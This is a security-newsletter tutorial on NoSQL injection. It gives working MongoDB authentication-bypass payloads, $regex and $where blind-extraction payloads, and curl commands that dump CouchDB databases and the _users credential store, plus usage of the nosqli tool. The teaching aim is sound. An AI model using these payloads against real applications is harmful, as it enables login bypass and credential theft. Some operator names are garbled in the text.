NoSQL Injection: Breaking MongoDB From the Inside

7 min read

March 22, 2026

Site Updates

💬 Comments Available

Drop your thoughts in the comments below! Found a bug or have feedback? Let me know.

🚧 Recent Migration

Migrated from Ghost to Astro. Spot any formatting issues? Report them!

NoSQL Injection: Breaking MongoDB From the Inside

Table of contents

Contents

👋 Introduction

Hey everyone!

Last week we covered Redis and Memcached. Still on the data layer this week, different attack surface.

Teams that moved from SQL to MongoDB often assume they left injection vulnerabilities behind. They didn’t. MongoDB’s query operators (ne,ne, gt, regex,regex, where) are the injection primitive, and any application that passes user input directly into a query object without sanitization is vulnerable. The attack looks nothing like SQL injection, payloads are different, and most generic scanners miss it entirely. That combination makes it a consistent finding in bug bounty programs and internal assessments.

This week: operator injection mechanics, authentication bypass, blind extraction, time-based detection, CouchDB’s default access issue, and the tools that automate it.

Let’s get into it 👇

🔍 Operator Injection Mechanics

MongoDB queries use JSON objects with comparison and logical operators. The vulnerability is simple: if you can inject a JSON object where the application expects a scalar value, you introduce operators that MongoDB evaluates server-side.

A typical login query on the backend looks like this:

db.users.findOne({ username: req.body.username, password: req.body.password })

If the application accepts Content-Type: application/json and passes the parsed body directly to the query, you control the shape of the object, not just its value.

PHP array injection is the URL-encoded equivalent. PHP converts bracket notation into nested arrays:

# Normal request
POST /login?username=admin&password=secret

# Injected
POST /login?username=admin&password[$ne]=x

PHP turns password[$ne]=x into {"password": {"$ne": "x"}}. MongoDB now returns any user whose password isn’t literally “x”. For every account with a real password, that condition is true. No credentials needed.

💀 Authentication Bypass

The canonical bypass payload for MongoDB authentication:

{"username": {"$ne": null}, "password": {"$ne": null}}

$ne: null is truthy for any stored value. Both conditions pass for the first matching document, usually an admin if the collection was inserted in order. Send this as the JSON body to a login endpoint and you’re in.

Variations, in case one operator is filtered:

{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
{"username": {"$exists": true}, "password": {"$exists": true}}

$gt: "" returns true for any non-empty string. $regex: ".*" matches anything. $exists: true returns true if the field is present. If the application blocks $ne, try the others. OWASP’s testing guide documents all operator bypass patterns and their equivalents across MongoDB, CouchDB, and Redis.

🕵️ Blind Extraction via $regex

Once you’ve confirmed injection, you can extract data character by character using $regex and a boolean signal.

The query asks MongoDB: does this field match this pattern? A different HTTP status, different response length, or different content between requests reveals match or no-match.

{"username": "admin", "password": {"$regex": "^a"}}
{"username": "admin", "password": {"$regex": "^b"}}

When you get a truthy response, extend: ^ab, ^ac, ^ad, and so on. This works against any string field in the query: passwords, API keys, password reset tokens. The PortSwigger lab Exploiting NoSQL injection to extract data walks through this against a MongoDB-backed product catalog. The lab Operator injection to extract unknown fields extends it to fields you don’t know the name of yet.

⏱ Time-Based Detection with $where

$where is a MongoDB operator that evaluates a JavaScript expression server-side. Older MongoDB deployments and misconfigured instances expose it to query input.

{"$where": "sleep(5000)"}
{"$where": "function() { sleep(5000); return true; }"}

A five-second delay confirms injection. From there, you can extract data using time-based inference:

{"$where": "this.password.match(/^a/) && sleep(5000)"}

If the password starts with ‘a’, the query sleeps. If not, it returns immediately. Same approach as blind boolean extraction, but using timing instead of response differences.

MongoDB still enables $where by default even in recent versions. Server-side JavaScript must be explicitly disabled via security.javascriptEnabled: false in the server configuration. Version 4.4 dropped support for BSON JavaScript with scope (BSON type 15), but string-based $where expressions continue to work unless the admin has hardened the instance. Check the version and configuration from error messages or info disclosure endpoints before assuming it’s unavailable.

🗄 CouchDB: The Admin Party Default

CouchDB ships in “Admin Party” mode prior to version 3.0: no authentication required, all requests processed as admin. If you’re testing a legacy deployment or a container running an older image, check port 5984 unauthenticated before assuming auth is required.

# List all databases
curl http://<target>:5984/_all_dbs

# Dump all documents
curl http://<target>:5984/<dbname>/_all_docs?include_docs=true

# Access user credentials
curl http://<target>:5984/_users/_all_docs?include_docs=true

CouchDB 3.x enforces admin setup on first run. But containers pulling older images, or deployments frozen on 2.x for compatibility, still expose this. The _users database stores hashed passwords for all registered users. Full read access to _all_dbs maps the entire data layer.

🛠 Tools

nosqli is the most actively maintained CLI tool for NoSQL injection testing. Written in Go, it handles detection, boolean blind extraction, and timing attacks. It accepts raw Burp Suite request files, so you can grab a request from the proxy and feed it directly.

# Basic detection
nosqli -u "http://target.com/login" -p username

# From a Burp request file
nosqli -f request.txt

NoSQLMap is the older but more feature-rich option. Menu-driven interface, targets both MongoDB and CouchDB, includes dictionary attacks and web application exploitation modes. Less actively maintained (last release circa 2016–2017) but covers more attack scenarios when nosqli’s output is ambiguous.

🎯 Key Takeaways

NoSQL injection shows up consistently in Node.js/Express APIs that accept JSON bodies. The attack surface is any endpoint that passes user-supplied values directly into a MongoDB query object. Payloads look nothing like SQL injection, which is why they survive generic WAF rules and scanner templates.

Authentication bypass with $ne: null is a one-liner. If you find a login endpoint backed by MongoDB and the application doesn’t validate input types, it works. You don’t need to know any usernames. The first matching document in the collection comes back, and it’s usually an admin.

Blind extraction via $regex recovers actual data from any string field that appears in a queryable condition. A boolean signal is enough. Automate it with nosqli or work through it manually with the PortSwigger labs.

$where is the high-value target on older deployments. If the MongoDB version is below 4.4 and $where isn’t explicitly disabled, you have JavaScript execution in the query context.


Practice:


Thanks for reading, and happy hunting!

— Ruben

Other Issues

Redis and Memcached: When Cache Becomes a Foothold
Redis and Memcached: When Cache Becomes a Foothold

Previous Issue

OAuth 2.0: Six Ways the Authorization Flow Breaks

Next Issue

OAuth 2.0: Six Ways the Authorization Flow Breaks

Comments

Enjoyed the article?

Stay Updated & Support

Get the latest offensive security insights, hacking techniques, and cybersecurity content delivered straight to your inbox.

Follow me on social media